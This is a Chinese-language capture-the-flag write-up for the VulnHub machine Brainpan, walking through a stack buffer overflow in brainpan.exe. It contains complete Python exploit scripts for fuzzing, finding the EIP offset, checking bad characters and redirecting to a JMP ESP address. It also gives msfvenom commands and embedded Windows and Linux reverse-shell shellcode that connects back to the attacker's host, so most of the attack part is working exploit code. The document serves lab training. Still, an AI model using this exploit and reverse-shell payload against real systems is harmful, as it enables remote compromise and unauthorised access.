标签：socket ESP buffer Brainpan VulnHub import shellcode 字节

Brainpan

1、nmap

2、web渗透

随便看看

目录爆破

使用不同工具，不同字典进行爆破

9999端口分析

10000端口分析

字符串信息中，提示这个程序不能运行在DOS模式下，然后有32个A，还有一行关于复制字节到缓冲区的信息，还有一行比较奇怪的字符shitstorm，有可能会是密码，接下来就是之前浏览器看到的ascii图案。

3、常规的缓冲区溢出漏洞分析与利用

缓冲区溢出漏洞识别

在window环境下运行brainpan.exe，可以看到出现了一个如下的界面：

大概是说初始化了一个winsock，端口是9999，等待连接中。那么我们可以用nc尝试连接这个windows机器的9999端口，先随便输入一个PASSWORD试试：

可以发现提示复制了3个字节到缓冲区，如果输入shitstorm，回显也基本一致，但check会是0，可以判断可能check为0说明密码正确，为-1说明错误。由于涉及到复制字节到缓冲区的过程，那么这里就有可能存在缓冲区溢出的漏洞。

如果我们输入一个非常长的字符串，是否会造成溢出而导致程序崩溃呢？如果会出现溢出，那么这个“非常长”到底是多长的字符串呢？此时我们可以写一个python2的脚本exp1.py进行测试，代码如下：

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
 
#figure out how many chars could make brainpan.exe crush
size = 100
while True:
    try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    #用于建立socket连接
        s.connect(("192.168.126.184",9999))      #连接windows机器的9999端口
        buffer = 'A' * size     #待发送字符串的长度，按照100个字符逐渐增加(一个缓冲区，用A去填充)
        print "\n[+]Send evil buffer %s bytes." % size      #提示发送了多少个字符
        s.send(buffer)     #发送字符串
        s.close()          #连接关闭
        size += 100
        time.sleep(2)      #每发送一次，睡眠2s，便于我们观测过程
    except:
        print "\n[+] Could not connect,error!\n"   #出现异常的提示
        sys.exit()      #系统退出

会发现当发送600长度的字符串后，brainpan.exe会直接结束运行，利用文件exp1.py也停止发送。说明确实存在溢出漏洞。所谓缓冲区溢出的漏洞利用，就是通过构造溢出，添加我们的payload，修改程序的执行流程，最终会执行我们添加的payload(反弹shell等)，核心在于是否可以溢出？怎么修改执行流程？怎么添加payload？这就是缓冲区溢出的全局思路，接下来的所有操作都是基于这个大局观。

最多不超过600字节就会导致缓冲区溢出。那具体是多少个字节呢？

定位eip寄存器(确定溢出字符串的长度)

我们可以用工具msf-pattern_creat生成一个600字节的字符串，该字符串的特点是：其中的连续子串可以唯一被定位位置。

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

然后用在Windows上使用ImmunityDebugger打开brainpan.exe文件(先使用Windows对文件进行分析)。此时ImmunityDebugger这个工具相当于充当了CPU与brainpan.exe的中介，方便我们观察程序运行时的汇编语言的程序流、寄存器、堆栈、内存等情况。可以看到右下角是Paused，意思是这个文件是暂停状态的，我们点击左上角的running program按钮（左数第7个，或者直接按F9）启动程序，此时右下角提示状态变为了Running。这种启动与直接双击exe文件的区别就是，使用ImmunityDebugger作为了中介而已。

然后我们用刚刚生成的600字符的字符串，重新构造payload，编写如下的exp2：

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
 
#figure out how many chars could make brainpan.exe crush
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    #用于建立socket连接
    s.connect(("192.168.126.184",9999))      #连接windows机器的9999端口
    buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'     #发送600字符的pattern字符串
    print "\n[+]Send evil buffer 600 bytes."      #提示发送了多少个字符
    s.send(buffer)     #发送字符串
    s.close()          #连接关闭
except:
    print "\n[+] Could not connect,error!\n"   #出现异常的提示
    sys.exit()      #系统退出

回到ImmunityDebugger，可以看到这个字符串填入了EDX中，EDX还不够装，ESP中还装了一部分。而特别需要关注的寄存器是EIP（instrutor pointer指令指针），这个寄存器标记了下一条指令的内存地址，是进行缓冲区溢出的关键所在。

如上图，EIP内的值是35724134，这是ASCII码的值，由于小端显示的原因（逆序），相当于4Ar5。

接下来我们就是寻找35724134（4Ar5）在msf-pattern_creat生成的600字节字符串中的位置，以下两条命令均可：

msf-pattern_offset -l 600 -q 35724134
msf-pattern_offset -l 600 -q 4Ar5

可以看到偏移量是524，也就是只要发送524+4个字符，即可覆盖EIP寄存器，EIP寄存器存储的内容就是发送的528个字符中的最后4个字符（也就是说，第525-528个字符会填充EIP寄存器）。

为了验证发送的第525-528个字符会填充EIP寄存器，我们可以构造一个payload，发送600个字符，前524个字符都是A，第525-528个字符是B，用于覆盖EIP，最后72个字符用于凑数，都是C，据此编写exp3.py

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
 
#cover EIP with 'BBBB'

try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.126.184",9999))
    buffer = 'A' * 524 + 'B' * 4 + 'C' * 72
    print "\n[+]Send evil buffer 600 bytes(524 A, 4 B, 72 C)."
    s.send(buffer)
    s.close()
except:
    print "\n[+] Could not connect,error!\n"
    sys.exit()

重新打开ImmuityDebugger，运行brainpan.exe后（点击左上角左数第6个按钮×后，再重新打开brainpan.exe,点击菜单栏的file->open，打开文件后，再点击左上角左数第7个按钮运行。特别注意！！！每次运行新的exp前，都要进行如此重新打开的操作。），在kali中执行这个exp3.py：

果然，EIP寄存器被覆盖为了BBBB（B的ascii码的16进制是42），EDX被覆盖为了若干个A，ESP被覆盖为了72个C。

也可以在堆栈区域看到内存的情况。

ESP扩容(判断ESP寄存器的大小是否够装shellcode)

我们企图将shellcode放到ESP中，也就是现在72个C的位置，然而shellcode的大小通常是300-400字节左右，显然72字节是不够的，因此我们尝试再次进行溢出，这次发送的字符串是524个A、4个B、500个C，再次运行看看程序的崩溃情况和ESP内部的情况，如果崩溃情况与之前相同，ESP存放了500个C，就说明ESP的大小足够存放shellcode。构造如下的exp4.py：

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
 
#cover EIP with 'BBBB',cover ESP with 'C'*500 to figure out if ESP is big enough to cover shellcode.
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.126.184",9999))
    buffer = 'A' * 524 + 'B' * 4 + 'C' * 500
    print "\n[+]Send evil buffer 1028 bytes(524 A, 4 B, 500 C)."
    s.send(buffer)
    s.close()
except:
    print "\n[+] Could not connect,error!\n"
    sys.exit()

运行后寄存器的情况如下：

ESP中存放了许多个C，没出啥问题。查看堆栈中的情况，找到C出现的开始位置和终止位置，可以看到首次出现C的内存地址是005FF910，最后4个C的内存地址是005FFAE4：

那么ESP的大小就是005FFAE4-005FF910+4=472字节，应该足够存放反弹shell的shellcode。

第六步：坏字节识别

在C语言中，00是一个坏字符，作用是截断。所谓坏字节，就是程序中存在的会导致代码无法正常执行的字符，与程序本身和通信协议都相关。可以在github中具体查看坏字节的情况：https://github.com/cytopia/badchars

可能存在的坏字节如下，图中没有包括\x00，因为\x00一定是坏字节，不需要再进行识别。

下面我们构造exp5.py，将可能的坏字节填充到ESP中，查看寄存器和内存的情况，exp5.py如下：

#!/usr/bin/python
#encoding: utf-8
import socket        
import time                   
import sys

#find badchars,cover ESP with possible badchars                                                             

try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.126.184",9999))
    badchars = (
        "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
        "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
        "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
        "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
        "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
        "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
        "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
        "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
        "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
        "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
        "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
        "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
        "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
        "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
        "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
        "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
    buffer = 'A' * 524 + 'B' * 4 + badchars
    print "\n[+]Send evil buffer many bytes(524 A, 4 B, 255 badchars)."
    s.send(buffer)
    s.close()
except:
    print "\n[+] Could not connect,error!\n"
    sys.exit()

运行exp5.py，观察ESP的情况：

点击ESP后的内存地址，然后右键->Follow in Dump，即可在左下的窗口看到内存情况

左下的窗口如下，可以看到从01到FF是连续的，说明没有出现坏字节。如果有坏字节，可能会出现很多00的空字节。

JMP ESP定位

虽然ESP中可以存放shellcode，但我们如何保证程序的执行流程跳转到ESP中呢？这就需要通过EIP进行重定向，也就是找到汇编指令JMP ESP的内存地址，将这个内存地址覆盖到EIP中。由于EIP标记了下一条指令的执行地址，如果EIP被我们覆盖成了JMP ESP指令的内存地址，那么程序就会执行JMP ESP，然后如果ESP中存放了shellcode的话，就会成功利用。

首先，我们要找到指令JMP ESP的内存地址，在进行搜索的时候，不能用JMP ESP这样的字符直接搜索，而要用操作码opcode，JMP ESP的操作码可以用msf-nasm_shell进行查找，可以发现JMP ESP的操作码是FFE4。

接下来就是搜索FFE4了。在ImmuityDebugger中，可以很方便的直接执行python的一些脚本。在左下角的输入框输入!mona modules，可以看到当前运行程序的保护机制。通过mona.py可以看到当前运行的brainpan.exe的保护机制都是False，很容易被利用。因此靶机本身恰巧就支持我们定位JMP ESP，其实这里也不必强求非要利用靶机中的JMP ESP，寻找其他安全机制没有开启的程序也可以，只是当前的windows运行的其他程序都开启了许多安全机制，难以定位JMP ESP。

这里插叙一下，我第一次安装ImmuityDebugger后，输入!mona modules直接报错pycommands:error importing module。这是因为ImmuityDebugger的默认脚本并不保护mona.py这个文件，需要下载mona.py，并将这个文件放在PyCommends路径下。mona.py的下载地址见https://github.com/corelan/mona

然后我们在brainpan.exe中搜索ffe4，命令如下：

!mona find -s  "\xff\xe4"  -m brainpan.exe

总共找到了一个内存位置，311712f3，这个内存地址下存放了JMP ESP的指令。因此我们要将这个内存地址写到EIP中，也就是之前写入B的位置。由于小端显示的问题，需要按照字节倒序的方式填入EIP中即"\xf3\x12\x17\x31"。

第八步：在ESP中填入shellcode

最后构造反弹shell的shellcode，这里直接用msfvemon生成即可，LHOST和LPORT指定ip和端口，-b指定坏字符，-e指定编码方式，这里选用shikata_ga_nai，这是个日语词汇，在免杀绕过领域比较好用，-f形成c语言代码。生成的shellcode的大小是351个字节（由于编码方式，每次生成的结果是不一样的）：

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.126.193 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

然后我们把原来ESP中C的位置填写为上述shellcode（这里的shellcode和上图不是一次生成的，所以不一样，只要填入msfvemon生成的反弹shell即可）。shikata_ga_nai的编码方式对于我们进行免杀和绕过很有作用。但也会在生成几个“桩”用于解码。因此在构造payload的时候应该在ESP的开头位置填入若干个啥也不做的指令NOP（\x90），称为slide，防止“桩”被抹掉导致代码无法成功执行，再添加shellcode。当然，即使我们不适用编码进行免杀绕过，也可以添加几个NOP，滑过一些字节，保证shellcode不会被“抹掉”。完整的代码如下exp6.py：

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys

#set payload(windows_reverse_shell) for windows

try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(("192.168.126.184",9999))
	ebp = "311712f3"
	badchars = '\x00'
	shellcode = ("\xb8\xa9\xba\xb5\xd8\xda\xc3\xd9\x74\x24\xf4\x5a\x2b\xc9"
		"\xb1\x52\x31\x42\x12\x03\x42\x12\x83\x6b\xbe\x57\x2d\x97"
		"\x57\x15\xce\x67\xa8\x7a\x46\x82\x99\xba\x3c\xc7\x8a\x0a"
		"\x36\x85\x26\xe0\x1a\x3d\xbc\x84\xb2\x32\x75\x22\xe5\x7d"
		"\x86\x1f\xd5\x1c\x04\x62\x0a\xfe\x35\xad\x5f\xff\x72\xd0"
		"\x92\xad\x2b\x9e\x01\x41\x5f\xea\x99\xea\x13\xfa\x99\x0f"
		"\xe3\xfd\x88\x9e\x7f\xa4\x0a\x21\x53\xdc\x02\x39\xb0\xd9"
		"\xdd\xb2\x02\x95\xdf\x12\x5b\x56\x73\x5b\x53\xa5\x8d\x9c"
		"\x54\x56\xf8\xd4\xa6\xeb\xfb\x23\xd4\x37\x89\xb7\x7e\xb3"
		"\x29\x13\x7e\x10\xaf\xd0\x8c\xdd\xbb\xbe\x90\xe0\x68\xb5"
		"\xad\x69\x8f\x19\x24\x29\xb4\xbd\x6c\xe9\xd5\xe4\xc8\x5c"
		"\xe9\xf6\xb2\x01\x4f\x7d\x5e\x55\xe2\xdc\x37\x9a\xcf\xde"
		"\xc7\xb4\x58\xad\xf5\x1b\xf3\x39\xb6\xd4\xdd\xbe\xb9\xce"
		"\x9a\x50\x44\xf1\xda\x79\x83\xa5\x8a\x11\x22\xc6\x40\xe1"
		"\xcb\x13\xc6\xb1\x63\xcc\xa7\x61\xc4\xbc\x4f\x6b\xcb\xe3"
		"\x70\x94\x01\x8c\x1b\x6f\xc2\x73\x73\x11\xd3\x1c\x86\xed"
		"\xd2\x67\x0f\x0b\xbe\x87\x46\x84\x57\x31\xc3\x5e\xc9\xbe"
		"\xd9\x1b\xc9\x35\xee\xdc\x84\xbd\x9b\xce\x71\x4e\xd6\xac"
		"\xd4\x51\xcc\xd8\xbb\xc0\x8b\x18\xb5\xf8\x03\x4f\x92\xcf"
		"\x5d\x05\x0e\x69\xf4\x3b\xd3\xef\x3f\xff\x08\xcc\xbe\xfe"
		"\xdd\x68\xe5\x10\x18\x70\xa1\x44\xf4\x27\x7f\x32\xb2\x91"
		"\x31\xec\x6c\x4d\x98\x78\xe8\xbd\x1b\xfe\xf5\xeb\xed\x1e"
		"\x47\x42\xa8\x21\x68\x02\x3c\x5a\x94\xb2\xc3\xb1\x1c\xc2"
		"\x89\x9b\x35\x4b\x54\x4e\x04\x16\x67\xa5\x4b\x2f\xe4\x4f"
		"\x34\xd4\xf4\x3a\x31\x90\xb2\xd7\x4b\x89\x56\xd7\xf8\xaa"
		"\x72")                                                                                             
	buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
	print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:windows_reverse_shell."
	s.send(buffer)
	s.close()
except:
	print "\n[+] Could not connect,error!\n"
	sys.exit()

回到kali中，先开启nc监听443端口，然后在ImmunityDebugger中重启brainpan.exe，运行exp6.py，成功拿到了windows机器的反弹shell：

我们的目标是搞到靶机linux的shell，因此重新生成linux环境的反弹shell：

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.2.228 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

然后修改payload为exp7.py：

#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys

#set payload(linux_reverse_shell) for target machine

try:
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(("192.168.2.215",9999))
	ebp = "311712f3"
	badchars = '\x00'
	shellcode = ("\xbb\xee\x7b\x55\x53\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9"
		"\xb1\x12\x31\x5a\x12\x03\x5a\x12\x83\x04\x87\xb7\xa6\xe9"
		"\xa3\xcf\xaa\x5a\x17\x63\x47\x5e\x1e\x62\x27\x38\xed\xe5"
		"\xdb\x9d\x5d\xda\x16\x9d\xd7\x5c\x50\xf5\x27\x36\xa0\xe1"
		"\xc0\x45\xa5\xe8\xab\xc3\x44\x5a\xad\x83\xd7\xc9\x81\x27"
		"\x51\x0c\x28\xa7\x33\xa6\xdd\x87\xc0\x5e\x4a\xf7\x09\xfc"
		"\xe3\x8e\xb5\x52\xa7\x19\xd8\xe2\x4c\xd7\x9b")
	buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
	print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:linux_reverse_shell."
	s.send(buffer)
	s.close()
except:
	print "\n[+] Could not connect,error!\n"
	sys.exit()